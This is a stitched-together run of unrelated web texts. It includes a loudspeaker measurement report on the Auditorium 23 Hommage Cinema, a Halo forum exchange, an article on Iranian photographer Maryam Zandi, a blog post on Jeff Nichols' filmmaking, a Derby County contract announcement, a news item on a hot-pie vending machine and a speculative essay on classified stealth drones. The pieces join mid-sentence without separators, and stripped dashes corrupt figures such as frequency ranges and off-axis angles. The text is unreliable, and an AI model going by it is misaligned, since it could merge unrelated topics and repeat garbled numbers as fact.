Note that the tweeter actually has some output apparent in the midrange, which I could hear when I listened to this drive-unit on its own. This is why I conjectured earlier that there is no high-pass crossover in the tweeter's feed. At the other end of the audioband, the upper woofer also covers a narrow bandpass, of 300500Hz, with a shelved-down output below that region. The lower woofer takes over below 300Hz, but there is a narrow peak in its output at 200Hz.
Fig.3 shows how these individual responses sum in the farfield. There is a broad peak in the upper midrange, with the mid-treble shelved down and the response dropping like a stone above 9kHz. The large notch centered on 360Hz is not apparent in the farfield, but resulted from my summing the nearfield outputs of the midrange unit and the woofers. Though three drive-units are connected in phase, the time delay between the output of the horn and that of the woofers (see below) results in destructive interference. The bass is shelved down compared with the midrange, but the lows do offer useful extension to 40Hz or so.
Fig.3 Auditorium 23 Hommage Cinema, anechoic response on midrange axis at 50", averaged across 30° horizontal window and corrected for microphone response, with complex sum of nearfield woofer and midrange responses plotted below 400Hz.
The large-mouthed midrange horn trades increased sensitivity for diminished directivity in its passband, as can be seen in fig.4, although the off-axis output doesn't depart too much from that on-axis, at least until the mid-treble region. This graph shows the off-axis responses on the tweeter side of the speaker to the front; the tweeter offers relatively wide dispersion within its passband, but again, nothing above 9kHz. In the vertical plane (fig.5), the Hommage Cinema maintains its response over a wide (±15°) angle, meaning that listening axis will not be critical. (The center of the midrange horn is 37" from the floor.)
Fig.4 Auditorium 23 Hommage Cinema, lateral response family at 50", from back to front: responses 905° off axis on plain side, response on midrange axis, responses 590° off axis on tweeter side.
Fig.5 Auditorium 23 Hommage Cinema, vertical response family at 50", from back to front: responses 155° above midrange axis, response on midrange axis, responses 510° below midrange axis.
What matters more with a speaker such as this is what happens in-room. The red trace in fig.6 shows the spatially averaged response of the Cinema speakers in AD's listening room. I generated this graph by averaging 20 1/6-octavesmoothed responses taken for each speaker individually in a vertical rectangular grid measuring 36" by 18" and centered on the positions of Art's ears in his listening chair. The blue trace shows the spatially averaged response of the Wilson Duette Series 2 in the same room. (Because of the Wilson's lower sensitivity, its trace has been plotted around 12dB too high, but this makes it easier to compare.)
Fig.6 Auditorium 23 Hommage Cinema, spatially averaged, 1/6-octave response in AD's listening room (red); and of Wilson Duette 2 (blue).
The Cinema speaker's in-room response is surprisingly even from 200Hz to 2kHzin fact, more even than the Duette's. As well as being lower in frequency, the primary Allison Effect boundary dip is reduced in amplitude compared with the Wilson, presumably due to the horn speaker's more controlled directivity in the midrange. Art's preferred setting of the woofer levels results in slightly shelved-down lows, without the excitation of the room mode between 60 and 70Hz offered by the Wilson. Above 2kHz, the Wilson has more mid-treble energy, and then a significantly more extended top octave.
AD did write that the Hommage Cinema's treble extension was "noticeably less than one associates with modern loudspeakers, manifesting in lessened air and sparkle with some recordings," though he added that it didn't bother him often. However, I consistently felt in my own listening that even though my hearing cuts off above 15kHz, the lack of top-octave "air" got in the way of the music, especially since the more I listened, the more I was impressed with the dynamic nature of the speaker's midrange. This is something I believe Art refers to when he uses the word touch, and what this magazine's founder, the late J. Gordon Holt, called jump factor.
In the time domain, the Auditorium 23's step response on its midrange axis (fig.7) reveals that the output of the tweeter arrives at the microphone 3 milliseconds before that of the midrange. This is because the midrange compression driver is mounted at the throat of a horn that is 1m long. To obtain a time-coherent output, the tweeter would have to be mounted more than 1' behind the woofer bin, which isn't practical. The tweeter and midrange units are connected in positive polarity. So are the wooferstheir step is the lazy rise in output immediately following that of the tweeter in fig.7, and starting to decay just before the midrange step arrives. Again, the midrange output is delayed compared with that of the woofers, which is why I got a cancellation notch at 360Hz when I summed the nearfield outputs of all three drivers (fig.3).
Fig.7 Auditorium 23 Hommage Cinema, step response on midrange axis at 50" (5ms time window, 30kHz bandwidth).
Because the tweeter leads the midrange by so much time, I could plot separate waterfall graphs for them. You can see that the tweeter covers a narrow bandpass centered on 8kHz, but doesn't extend the top octave at all (fig.8). And because its step in fig.7 is so much lower in height than that of the midrange horn, it isn't adding much energy. Ifif!the excellent EnigmAcoustics Sopranino supertweeter were 20dB more sensitive, I remarked to Art when I visited, it would work well with this speaker. But it's not, and the only tweeter I can think of that might match the horn-loaded 555 driver's sensitivity is the horn-loaded Radian compression driver used in Zu Audio's Soul Supreme speaker. The midrange waterfall plot (fig.9) reveals the horn resonances mentioned earlier, but below 2kHz these are relatively mild.
Fig.8 Auditorium 23 Hommage Cinema tweeter, cumulative spectral-decay plot on midrange axis at 50" (0.15ms risetime).
Fig.9 Auditorium 23 Hommage Cinema midrange horn, cumulative spectral-decay plot on midrange axis at 50" (0.15ms risetime).
Conclusions
I found Auditorium 23's Hommage Cinema a fascinating loudspeaker to measure. Decades ago, the late Rex Baldock told me that a supersensitive speaker like this could have almost zero nonlinear distortion at normal listening levels, due to the fact that the diaphragm hardly moves. And there was, indeed, something magic about this speaker's midrange. (I remembered that I should have examined distortion only toward the end of my five-hour drive home.) I could live with the Hommage Cinema's low frequencies, even though they're not in the same class as those offered by speakers from Magico, Wilson, or YGA; but, unlike Art, I couldn't live with that lack of top-octave energy.
This is the problem with a horn speaker: To perform at its best, it must be used over a relatively narrow bandpass. This means that a full-range design will need to comprise five separate horn-loaded drivers, which in turn means that the speaker will be large and expensive (footnote 2). But in the Auditorium 23 Hommage Cinema, that superb midrange horn is taken both too low and too high in frequency, and while the designer has solved the problem of matching it with the low-frequency drivers, he hasn't done so at the high endat least, not to my satisfaction.
But forget what I writeyou should give this speaker a listen, just to experience what's possible from a classic compression driver loaded with a horn.John Atkinson
Footnote 1: The coining of this word, for the title of a column written by Ken Kessler published in 1982 inmagazine, is so far my sole contribution to the lexicon of the English language.
Footnote 2: See, for example, Magico's Ultimate v.3.MrGreencastle said: Played some ODST Firefight earlier. I love that lighting, those night explosions are so great. Can't wait for Halo 4: ODST! Click to expand...
Ragnarok Flames said: Am i the only one that doesnt like Halo 4's OST? Click to expand...
If you like the Halo 3 engine lighting model, Halo 4 isn't exactly going to provide it. Thatthe game has is graphically, and is the primary reason that Halo 3 pushes so little detail and runs at a low resolution (compared with, say, Reach).It's almost comical how bad the Halo 4 approach to HDR is compared with Halo 3's. The game presumably has poor range, or else they (hopefully) wouldn't be blooming up everything that's barely at white level with a heavy. Halo 3's engine lets you be selective, which allows brightnesses to be differentiated and makes sure things look shiny rather than foggy. Details also get preserved reasonably well. Like, this:Individually, tracks are pretty good. There's also sometimes pretty good resonance between music/sound and visual style, perhaps most notably on the level Forerunner.The big issue is that there doesn't seem to be a strong, unique central style to it. I know what Halo 1 music feels like, I know what Halo 2 music feels like, I know what Halo 3 music feels like, I know what bizarre amazing Marty sax feels like, and I know what Reach music feels like. Heck, I even know what CEA music feels like. What does Halo 4 music feel like?It took Maryam Zandi more than three decades to get her photos of the revolution published
I met Maryam Zandi last spring in the cherry-coloured hallways of downtown Tehran’s House of Artists, a prestigious gallery, auditorium and theatre inaugurated under the administration of the reformist president Mohammad Khatami. Zandi was ‘in conversation with’ photographer Nader Davoodi, but I was looking forward to interview her about her book, Enqelab-e 57, published more than three decades after the 1979 revolution.
Facebook Twitter Pinterest Revolutionaries hold up giant pictures of Ali Shariati (front) and Prime Minister Mohammad Mossadegh (back). Photograph: Maryam Zandi
Zandi fought long and hard to have the book, which spans the turbulent winter of 1978-9 when people gathered to topple the Shah, published in the form she wanted, with nearly 200 photos. Under the administrations of President Mahmoud Ahmadinejad, the authorities said it could be allowed only with some parts removed - something she refused.
Facebook Twitter Pinterest Secular women took part then fell victim to the revolution. Photograph: Maryam Zandi
“This is a record of the rising of a people, it should be seen in its entirety,” she told me. After the victory of Hassan Rouhani in the 2013 presidential election, the culture minister agreed the book could be published whole.
The photographs run from the citywide demonstrations of November 1978 to 1 April 1979, the day of the national referendum with the simple question: ‘The Islamic Republic, Yes or No?’. They capture such momentous events as the mass march to Mohammad Mossadegh’s home in Ahmadabad, and Ayatollah Ruhollah Khomeini’s first media interview upon his return to Iran, at Alavi School. It was published in October 2014.
Facebook Twitter Pinterest Rifle-toting revolutionaries, winter 1978-9. Photograph: Maryam Zandi
In the introduction, Zandi describes asking - almost negotiating - with a man at the door to let her into the school where only men were allowed that day. Aptly, the book begins with her plea: “To each his (or her) own weapon, I have my camera, and I have my cry.”
Facebook Twitter Pinterest A moment of euphoria. Photograph: Maryam Zandi
She recalled the frenzy of the revolutionary protests as a time of “inclusion, when divisions were momentarily set aside”. On one occasion, having found no one to take care of her baby daughter, she carried the infant in her arms and asked people to hold her as she took photos.
Facebook Twitter Pinterest A young girl holds up a photo of Ayatollah Khomeini above her head. Photograph: Maryam Zandi
Zandi wants to remind viewers that these were days, just before and just after the Shah left Iran on 16 January, when revolutionary fervour carried excitement, hope and possibility. It is rare to see recent history isolated from what came after, but that is where the photograph can escape the tunnel of what was to be.
Facebook Twitter Pinterest The United States had a far reaching presence in Iran under the Shah. Photograph: Courtesy of Maryam Zandi
A thread binding Zandi’s work across the decades is her exposure of the forgotten. Her first book of photographs, Torkaman Sahra, published in 1983, portrayed semi-nomadic ethnic Turkmen of north-eastern Iran, particularly women, in a fading world untouched by urbanisation. Her photos display green plains near the Caspian Sea where electricity and plumbing have yet to arrive, where people live on and from the land.
Facebook Twitter Pinterest An older man holds up a photo of Mehdi Bazargan. Photograph: Maryam Zandi
Maryam Zandi was herself born in 1946 near Torkaman Sahra, in the city of Gorgan, amid one of the country’s most scenic landscapes. After studying political science at the University of Tehran, she became a photographer for national television.
Facebook Twitter Pinterest An array of literature. Photograph: Maryam Zandi
She also starred in Atash-o Dood (Fire and Smoke), a television adaptation of a well-known novel. But during the protests of 1978-9, her photography work for television was in limbo, so she began walking the streets, documenting what she saw.
Facebook Twitter Pinterest A man walks past a wall with ‘Death to the Shah’ scrawled over what appears to be similar graffiti previously covered up. Photograph: Courtesy of Maryam Zandi
Zandi was dismissed from TV in 1983 – she did not want to publicly elaborate on the reasons for this - and her photos from 1978-9 would not be revealed until 2008 when she first tried to publish them. “Shortly after taking them I put them away,” she said. “I wanted them to be looked at after the historical occurrences had come and gone, so they could be seen with distance, and outside a news cycle.” Perhaps one downside of this, she admits, is a lack of sufficient information for each photo, as she did not take full notes at the time.
Facebook Twitter Pinterest An old man sleeps next to a wall covered with revolutionary graffiti. Photograph: Maryam Zandi
Zandi is the sister of acclaimed Iranian writer, director and translator Nader Ebrahimi, known especially for his lyrical love stories set in the mountainous forests of northern Iran.
Facebook Twitter Pinterest Anti-Shah demonstrations. Photograph: Maryam Zandi
Zandi’s carries within her photos the same sensitivities, while adding another dimension, that of the rebel. “I have had to fight for every inch of space in which I have stood,” she said. Her subjects also assert themselves in the photo: they have a reason to be, their photo is witness and proof of their determination.
The Revolution of 79 includes intimate portraits of revolutionary leaders such as Ayatollah Mohammad Beheshti and Ayatollah Mahmoud Taleghani. But Zandi is also a chronicler of the street: a handsome young man in a denim jacket and turtleneck smiles faintly at the viewer, while flowers adorn the rifle in his hand. Another young man sleeps, exhausted, in the cold beneath a wall covered in revolutionary slogans.
Women may wear long black veils or toss back loose wavy hair as they walk, observe, hold rifles, or shout in the air. “I didn’t know what would happen but I felt the significance of what I was seeing,” Zandi told me. “It had to be documented, stored somewhere, for my children, and their children, to see.”
From the 1990s onwards, Maryam Zandi was known as a portrait photographer. She has published four collections of figures in literature, painting and film, and is now planning a fifth, on musicians.
She has captured poets Fereydoun Moshiri and Parviz Natel Khanlari, well-respected scholars such as Iraj Afshar, Jaleleddin Homayi and Mohit Tabatabie. “When I started no one cared about photographing literary figures, it was new and daunting,” she said. “It took me a while to realise that I didn’t really know these people, despite having read some of their work.”
Perhaps no photograph has more poignantly captured the spirit of poet Houshang Ebtehaj like Zandi’s, showing him in a room of days past, with wooden windows and white cotton shades, in a light that is both comfortable and fading. Her collection of Iranian painters includes vastly different artists like Abbas Bolookifar of the coffee house tradition and the painter-calligrapher Nasrollah Efjeie. The curation of such names in one book itself is a feat, as these are faces of people we rarely see.
Zandi chooses various backgrounds. The writers she captures within their own space of preference - old libraries, studies or gardens. The painters pose in their workshops, among easels and brushes and paints, or next to one of their own works.
Film artists she asks to her studio, and photographs them all with similar lighting and angles. But they bring their individuality. The actor Ali Nassirian gives us his naive but sparkling grin, while director Dariush Mehrjui, once the quirky intellectual of Iranian cinema, looks through a peephole made with hands.
But Zandi’s portraits go beyond simply documenting the subject to suggest why they should be remembered. Film director Nasser Taghvaie aptly described this in a ceremony to honour her work hosted by the literary magazine Bukhara: “Sometimes a photographer can capture what hides beneath your exterior, that’s what Maryam’s work did for our poets, sculptors and artists. She reflected who they were on the inside.”
Famous scenes from the revolution
Henghameh Golestan captured demonstrations against hijab
David Burnett’s 44 days of the Iranian revolution
Gilles Peress’ Telex Iran has become a collector’s item
Abbas Attar has a new site showcasing his work from that period
Reza Deghati, another well known Iranian photographer, also documented the revolution
The Tehran Bureau is an independent media organisation, hosted by the Guardian. Contact us @tehranbureauJeff Nichols on the Only 3 Things Filmmakers Have to Build Their Point of View
A couple of days ago I finally watched Midnight Special and got immediately obsessed with a film that screamed personality, originality and mastery of the cinematic tools to tell a powerful story. Jeff Nichols, just like David Lowery, is a filmmaker that has built his toolkit one film at a time and has thus the confidence of doing seemingly little, to tell a lot.
During a short but very informative presentation, Nichols explained how each film helped him built his point of view and master a new aspect of filmmaking. You should definitely watch the video that has clips from his films with Nichols explanations of what they represent, but I’ve picked the central point to highlight here.
One last point, this goes hand-in-hand with another ‘masterclass’-ish Nichols gave where he explained how he decides where to place his camera (which is the first point of building a point of view).
CREATIVE FREEDOM
Nichols is clear on one thing: the reason why he was able to develop his knowledge and master different point of views is because he’s had preserved his creative freedom on all his films, even though each film got bigger, budget wise. That means he writes, directs and has final cut.
A COLLECTION OF SHOTS
Here is what Nichols says:
“The bigger point of view that you’re trying to make as a filmmaker, this idea, this theme, is all supported by this collection of shots, it’s all you really have to work with.
As a filmmaker, you really only have three things to work with:
1- You have camera placements
We don’t always realise this on set a filmmaker has 360° view to chose from. Do I put the camera up-high, down-low, close-up.
2 – Next you have to chose the lens
Wide lens, long lens.
3- And then there’s movements.
There are different types of movements. In this (clip) there’s no movement. There’s dolly, which is a track that keeps the frame locked. There’s steadicam movement, which is a gyroscopic device that hangs off the person that wears it, it moves in a very elegant and smooth way, and there’s handheld movement, which is what you see in Jason Bourne movies.
All these things add up together to mean something, and to mean a point of view, usually it’s a character point of view, but even when you have all these shots that are characters’ point of view, they have to add up to something, they have to mean something.”
—
Angle, Lens and Movement. Those are the three things you need to decide on, and decide if you want to combine them, to not only tell a logical story, but to tell a story that has a point of view.
If the distinction is hard to fathom, I recommend you read Tony Zhou’s opinion about what is commonly called “dumbstruck filmmaking”, aka a zero-point-of-view filmmaking where the directors plan all the shots by the book, but without using the tools to build a stronger narrative. (Because it means taking risks.)Midfielder pens a new long-term deal with Derby County.
Derby County is delighted to announce that Scotland international midfielder Craig Bryson has signed a new five-year deal with the Club.
Bryson, 27, put pen-to-paper at the Training Centre this afternoon to extend his stay at the iPro Stadium until the summer of 2019.
The Rams’ 2013/14 Jack Stamps Player of the Year has become the fifth member of the squad to commit their future to the Rams inside a week, following in the footsteps of Jeff Hendrick, Craig Forsyth, Jake Buxton and Will Hughes.
Bryson was an integral part of Derby’s promotion push last season under Steve McClaren and his 16 goals from midfield were a driving force behind the side finishing third in the table, as well as reaching the Sky Bet Championship Play-Off Final.
He scored two hat-tricks during the campaign, including one in the 5-0 demolition of locals rivals Nottingham Forest at the iPro Stadium in March of this year, and went on to be named in the PFA Sky Bet Championship Team of the Season.
Derby County’s Head Coach Steve McClaren: “It is fantastic news that Craig Bryson has committed his long-term future to Derby County today.
“At the end of last season I sat down with our President & Chief Executive, Sam Rush, and asked him to do his best to retain the core members of the squad, and I am delighted that has been the case.
“By giving Craig a five-year deal it shows just how highly we rate him; he is a great team player and he scores important goals as well, as we saw last season.
“He was an integral part of what we achieved last season and he will be a vital member of the side in the future as well.”
President & Chief Executive Sam Rush said: “First and foremost, I am delighted that we have been able to retain five key players from last season’s squad on new deals during the last seven days.
“In Craig Bryson’s case, there has been much speculation in the last month or so and we are aware that, naturally, there has been interest from other clubs in him.
“After being named Player of the Season in two of his three years with the Club, Craig is held in high regard by the fans and I am sure they will be equally delighted with this news.”
He added: “I think the signing and length of contract demonstrates commitment from both sides to take Derby County back to the Premier League and, with the fans right behind us, we can build on the success of last season.”
Bryson’s footballing career began north of the border at Clyde in 2004 before he moved on to Scottish Premiership outfit Kilmarnock in 2007.
His four-season stay at Rugby Park saw him wear the captain’s armband as well as going on to gain his first Scotland cap against the Faroe Islands late in 2010.
He joined Derby for an undisclosed fee in the summer of 2011 and went on to be named as the Club’s Player of the Year in 2011/12, his first season with the Rams.
Bryson remained a regular in the Derby side during the 2012/13 campaign and further enhanced his reputation by scoring the only goal in a 1-0 win at Nottingham Forest in September 2012.
His form cranked up a notch last season as he bagged 16 goals in 49 appearances in all competitions, including hat-tricks in the 5-1 win over Millwall in September 2013 and Nottingham Forest in March 2014.
He also registered an exceptional 13 assists during the season and his form saw him return to the international fold, as he was handed a starting place for Scotland against Norway in November 2013.
In April 2014, he was named as the Jack Stamps Player of the Year for the second time in three seasons, and he was also named in the PFA Sky Bet Championship Team of the Season by his fellow professionals.
In total, Bryson has made 134 appearances for Derby and scored on 27 occasions.
Tweets by @ dcfcofficialFamily run bakers Fisher & Donaldson have fitted the 24-hour machine in St Andrews town centre.
SWNS
A 94-year-old St Andrews family bakery has come up with a novel idea of beating the midnight munchies - installing a hot pie vending machine the town centre.
Fisher & Donaldson, who have been serving savoury treats for five generations, said the machine - believed to be Scotland's first of its kind - had become a massive hit among revellers in St Andrews.
Punters can chose from 15 options at the machine. As well as hot pies customers can choose a bacon rolls, bridies, sausage rolls, spinach rolls and even macaroni cheese and stovies.
The machine works by accepting money like any other vending machine. Hot items are then dispensed into a small internal microwave and cooked for around a minute before coming out of a slot near the bottom - piping hot and wrapped in paper.
But councillors have blasted the "inappropriate" move, claiming it will spoil the image of the historic seaside town.
Ben Milne, manager of Fisher & Donaldson, said the machine is so popular that it sells out twice a week.
He said: "The feedback has been amazing, I've only had positive responses - people just seem to really like the idea.
"The idea came about when me and my wife were in Glasgow and there was a machine for cupcakes and she thought it would be a good to get a pie one.
"I wasn't convinced there would be such a thing, but I Googled it and there it was, so I bought it immediately."
The bakery had over 13,000 hits on Facebook from fans of the vending machine and has
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design called the Sea Ghost in an attempt to fulfill the Navy’s UCAV needs. There has also been rumors of “Super Sentinels” already existing which could be an operational UCAV evolution of the RQ-170, and the missing link between the navalized Sea Ghost concept and its more diminutive spying progenitor.
Lockheed Martin Lockheed's Sea Ghost naval UCAV concept which is based directly on the smaller RQ-170 Sentinel design.
Chapter 6: The F-117 Nighthawk retires without a successor Another interesting event that occurred around the same time as the first sightings of the RQ-170 was the somewhat ambiguous retirement of the F-117 Nighthawk, America’s first stealth strike aircraft. Even at the time of its retirement in 2008, no other known stealthy tactical aircraft existed that could drop heavy-hitting 2,000-pound precision guided bombs. Some officials said that the F-22 would take over a piece of the Nighthawk’s mission, but the Raptor is limited to just a pair of the smaller 1,000-pound Mk83/GBU-32 JDAMs. Only the B-2, of which just a handful are available for combat at any given time, can match and exceed the F-117’s destructive power while surviving deep over enemy territory. In that sense, the F-117 program represented a unique and proven capability, one that seems far too important for the USAF to just give up. This is especially considering that the decision was made during the height of the Bush Administration defense spending splurge. Maybe the oddest part about the F-117’s retirement was that the USAF never even complained.
USAF
The F-117’s mission was deep precision strike. For the vast majority of its career it accomplished this via the use of laser guided bombs. F-117 “Bandits” (pilots) ability to navigate to their targets at night, without radar, and employ the jet’s pair of 2,000-pound laser-guided bombs was an artform prior to the introduction of GPS. During the tail-end of its career, the F-117 force was able to drop GPS-guided Joint Direct Attack Munitions. With this new upgrade the F-117s could simply fly to a point and release these weapons with a high degree of accuracy, regardless of the weather conditions. Once again, this is the rudimentary mission of UCAVs, and it begs the question: Was the F-117 replaced by a small fleet of stealthy operational UCAVs that existed in the classified world much like the F-117 did for nearly a decade before its eventual disclosure? The F-117 program would have been an ideal model on which to base a clandestine UCAV program, and since UCAVs don’t require constant training flights like a similar manned system does, they can stay hidden much easier.
DoD
Since its retirement the F-117 fleet has been maintained in a regenerative state, and even occasionally flown at the shadowy Tonopah Air Force Base, which is also the likely operational home of a pocket UCAV force—if it were to exist. Maybe the F-117s were kept in such a state to hedge against what was still a very new, evolving and untested technology. Now, nearly a decade later, with the largely mummified F-117 force potentially getting scrapped once and for all, will a disclosure of a small UCAV fleet follow? The F-117 was first disclosed along a similar timeline in 1989. Chapter 7: The Ramifications of the Unknown With all this in mind, it is possible that the UCAV revolution happened in the depths of the “black projects” world even before it happened in the unclassified world. If this is true, Lockheed’s Skunk Works were almost certainly the dark shepherds that brought forth this new and devestating technology. On one hand, this would seem like a dramatic example of how isolated the classified weapons development world is from the non-classified one, and of how many billions of dollars are needlessly wasted developing parallel capabilities. On the other, if the USAF had chosen to watch parallel capabilities develop, Lockheed’s classified stealth unmanned aircraft developments could have acted as an independent control variable against UCAV developments occuring in the unclassified world. Once one effort had pulled ahead in its capabilities, a down-select would likely have been made. In this case, that selection would have been whatever was going on outside of the public's, and to a large degree Washington DC's eyes. Could this situation have been the catalyst for the USAF’s dropping out of J-UCAS in 2006, just a year before the RQ-170 suddenly emerged? Did the USAF continue to invest in the UCAV space via the Skunk Works, albeit in the realm of deep classification, to a point that would justify the F-117s retirement?
USAF
The question remains: Why hide the existence of even a pocket force of operational UCAVs, considering that the world has watched the Navy’s X-47B not only fly, but operate from a carrier and even refuel autonomously? Additionally, the X-45s proved the UCAV concept for the entire world to see years prior. With the B-2, the USAF has the ability to strike with 2,000-pound and even heavier-hitting weapons deep into defended territory. so it's not like hiding a small force of stealthy UCAVs would make the enemy feel as if well defended targets were not already at risk of attack by US forces. Then agian, maybe the USAF wasn't primarily hiding the UCAVs from the enemy at all, but instead from the government and taxpayers who paid for them in the first place. Classifying such a game-changing and relevant capability doesn't just distort the important and very expensive weapon system procurement choices being made by Congress, the White House and the Pentagon. It also skews America's defense strategy as a whole and all the long-term force planning that goes along with it. It doesn't seem like an uncommon practice for the powers that be to classify programs in order to protect inferior non-classified programs from having direct competition. Some weapons programs are also hidden in the classified world to prevent special interests from trying to cancel them in favor of other non-classified programs—ones that are less capable but more lucrative. Either way, the losers in such practices are America’s ability to get the best force for its money, and the warfighter’s chances of success in a conflict. That is, if you think the primary goal of America’s armed forces is to fight and win wars, not create jobs or to support particular industries.
Northrop Grumman
Clearly, if UCAVs were flying even in smaller numbers, and their networked hive mind could be proven on a larger and more advanced scale than what the X-45 proved over a decade ago, such a system would hugely threaten the F-35 Joint Strike Fighter. The F-35’s primary missions include deep strike, surveillance and "destruction of enemy air defenses," or DEAD. These are the exact same as those of a UCAV. In many ways, the UCAV could execute these missions far more efficiently and ferociously than their costly manned counterparts. Chapter 8: The Potential Advantages of UCAVs The USAF’s fighter aircraft age catastrophe and pilot shortage crisis, as well as the tactical challenges that the force faces on the battlefields of tomorrow, could largely be solved by a UCAV force. Even the USAF’s failing fighter budget could be cured by procuring, at least partially, UCAVs instead of expensive and inflexible manned systems that represent a half century-long financial and strategic commitment. It may be uncannily unpopular to the USAF’s pilot dominant culture, and even to military and aviation aficionados, but UCAVs have a laundry list of potential advantages over manned fighters and attack aircraft. In fact, they could revolutionize the very idea of what an Air Force looks like, how it trains, how it fights, and the money needed to sustain its capabilities. Here are some of the major potential benefits of stealthy UCAVs based on general concepts that have coalesced in recent years: - They have lower acquisition prices than modern fighters: You can build many more UCAVs for the same price of an advanced stealthy manned fighter. A four-to-one or even six-to-one ratio has been floated depending on how advanced the UCAV is. Doing so would break the cycle of ever increasingly expensive fighters eating up the DoD’s budget and add greater end-strength to the rapidly shrinking Air Force’s tactical jet inventory. This issue has morphed into an absolute crisis, with a recent Pentagon report stating that the USAF will not be able to afford its fighter jet fleet by the year 2021, just five years from now. In many ways UCAVs offer both a quantitative and qualitative advantage at the same time.
USAF
- UCAVs could be rapidly adapted to perform various missions, and a flight of UCAVs can “share” expensive sensors: With UCAV swarms you do not have to equip every UCAV with the same expensive sensors and subsystems as you have to with manned fighters. Using adaptable open architecture and “plug and play” design philosophies, a group of UCAVs can be outfitted for a particular mission or mission set. By adapting a single airframe for various roles via a series of unique configurations, great cost savings can be realized without greatly hampering the effectiveness of the swarm as a whole. In a single swarm “package” of UCAVs, you can have some airframes outfitted with advanced radars, some carrying networking, data-fusion and communications hardware, while others can carry highly sensitive electronic emissions sensing gear. Another set can carry bombs and missiles, while others can be outfitted with directed energy weapons (lasers) or advanced jamming equipment. Additionally, some can carry combinations of these capabilities. Because a package of UCAVs can act as a networked swarm and are constantly linked together via data link, each UCAV can share its sensor information with all the other UCAVs in its swarm and in real-time. When all this data is combined, a high-fidelity picture of the battlefield is rendered for the whole swarm to exploit. In other words, a UCAV that has no radar at all, can benefit from other UCAVs outfitted with such systems as if it were its own. Even working as a small swarm of say six UCAVs, three could be optimized as simple munitions mules, two can operate as sensor craft, and one can be outfitted as an aerial tanker and jamming support platform. Although the munitions mules may not be equipped with a radar or other targeting and situational awareness sensors, they are virtually equipped with them as the swarm’s collecting brain can “see” a fused “picture” of all the UCAV’s sensor information combined. For missions where you need maximum redundancy, the swam could be made up of all fully outfitted UCAVs with all the bells and whistles, similar to how fighters types are equipped equally today. Not only does such a concept save money while lowering the fiscal risks of combat, but it also allows for new systems to be more easily integrated into an ever changing UCAV force.
Boeing Boeing's X-45C, a full sized operational test aircraft that flew in the late 2000s. Although it was very promising and built on lessons learned from the X-45A J-UCAS program, the USAF had little interest in it.
- They possess far greater range and loitering time than their manned fighter jet counterparts: UCAV concepts generally have double to quadruple the combat radius of their manned progenitors. This is due in part to their lower kinetic and maneuverability requirements, their flying wing designs, and the fact that they don’t have valuable space and payload taken up by a cockpit and life support systems. Considering the anti-access and area-denial issues we face against potential enemies today, this greatly increased range alone makes procuring UCAV technology on a large scale essential. The F-35A has a combat radius of about 590 miles, which means a vulnerable tanker will have to get within 590 miles of the F-35A’s target to provide gas, or even more of an issue, the jet will have to be based within that distance of its target. In actuality, under real combat conditions the F-35A’s combat radius will likely be further reduced, since the 590-mile figure is a “brochure” metric. Our potential enemies’ large arsenals of ballistic and cruise missiles means that land-basing F-35s within 590 miles of the enemy’s borders is a non-starter in a real shooting war. China’s long-range strike-fighter, the J-20, is designed to fly out long distances to go after America’s vulnerable flying force multipliers, including tankers and AWACS aircraft. This strategy, which I pointed out right after the J-20 was first photographed, makes total sense for the Chinese. Why take on fighters when you can take them out simply by downing the tankers they are so dependent on or blind them partially by blasting their AWACS out of the sky? Even the Russia’s next SAM system, the S-500, will have a supposed range of 375 miles, and follow-on versions will only see its engagement envelope even further extended. Thus the F-35’s 590 mile combat radius has a shrinking margin of success against a well-armed peer-state competitor. Seeing as the F-35 is supposed to serve for many decades to come, with the last examples going out of service in 2070, the idea that short-ranged fighters will even be tactically relevant in a decade or two is highly debatable. The F-35A’s striking distance can be increased by a couple hundred miles via the use of standoff weaponry, but that also somewhat defeats the point of theF-35’s stealthiness to some degree, especially as a conflict progresses, and there are limited stockpiles of these types of highly expensive weapons on-hand at any given time. Additionally, the more very expensive fighter jets the US buys, the less standoff weaponry it can afford to have lying around. Even America’s stockpiles of much less expensive guided bombs and short-range air-to-ground missiles cannot sustain the ongoing limited air campaign against ISIS! In the end, these factors can put the F-35A, and other fighters for that matter, out of the fight on day one. A UCAV with a range of double or even triple that of the F-35A, while carrying the same payload, does not have this problem. The ability to loiter very near or even over enemy territory for long periods of time, and survive, has become an invaluable intelligence gathering capability. Aerial reconnaissance in now far more focused on capturing a period of time (RQ-170) instead of a moment in time (SR-71). When it comes to striking targets of opportunity, the same trend has emerged. Staying over a place and waiting for the enemy to expose themselves, and punishing them for doing so, has become a more in-demand service than simply striking fixed targets. Flying-wing UCAVs, with their large fuel loads, aerodynamic efficiency and fuel miserly turbofan powerplants allows them to stay on the scene for hours, not minutes, before needing to be refueled.
USN
Finally, because UCAVs have much longer range they require less tanker support. Less tanker support means less tankers and a smaller overall USAF tanker program, saving billions. In fact, UCAVs could provide their own tanker support via buddy refueling. Doing so would just mean committing more UCAVs, some configured as tankers, in order to take out a particular target set without external tanker support. -They are more disposable: You don’t have to build a UCAV to fly 8,000 hours as with manned fighter aircraft, a requirement that adds significantly to an aircraft’s unit and development costs. Instead UCAVs can be designed to last a fraction of that flight time. The reason for this is that these aircraft don’t have to fly anywhere near as much as their manned counterparts. Nobody really has to train to fly them at all. Computer simulations and modelling, a strong centralized test and development effort and intermittent large-scale air combat exercises will be essential in proving new UCAV tactics and to certify the systems as effective, but beyond that these things can largely sit in a hangar and wait for combat. The days of putting hundreds of hours on a tactical jet airframe a year would be over. As a result, a UCAV could be designed to last a couple thousands hours of flight time or even far less.
Northrop Grumman via Alert5.com X-47B airframe undergoes stress and fatigue testing
-They are expendable: UCAVs can be ordered to fly into the most dangerous airspace in the world without the potential loss of aircrew being a factor, which can have huge political ramifications both abroad and at home. This also means commanders can take greater risks with greater potential rewards during conflicts and can more freely strike at the heart of the enemy’s ability to wage war. For instance, instead of very slowly breaking down the bad guys’ area denial and anti-access capabilities from long-ranges using expensive standoff munitions, massive swarms of UCAVs can execute direct attacks on key anti-air warfare targets. UCAV’s far lower unit cost and simpler manufacturing process, one that can make the most oflarge composite structures and 3D printing, also means they can be replaced more efficiently than manned aircraft. In other words, UCAVs can speed up an air campaign’s intended results compared to manned systems, while doing so at far lower risk. -They don’t require pilots: Sure, this is the most obvious feature of UCAVs, but there is more to it than just not risking aircrews in combat. Because UCAVs don’t require pilots, the USAF would need to train less of them. This could not only be a solution to the USAF's increasingly dire shortage of pilots but it could also mean that the service’s entire fleet of fast-jet and primary training aircraft could be significantly downsized. Such a move would equate to enormous savings when it comes to personnel and aircraft procurement, sustainment and operational costs.
DoD
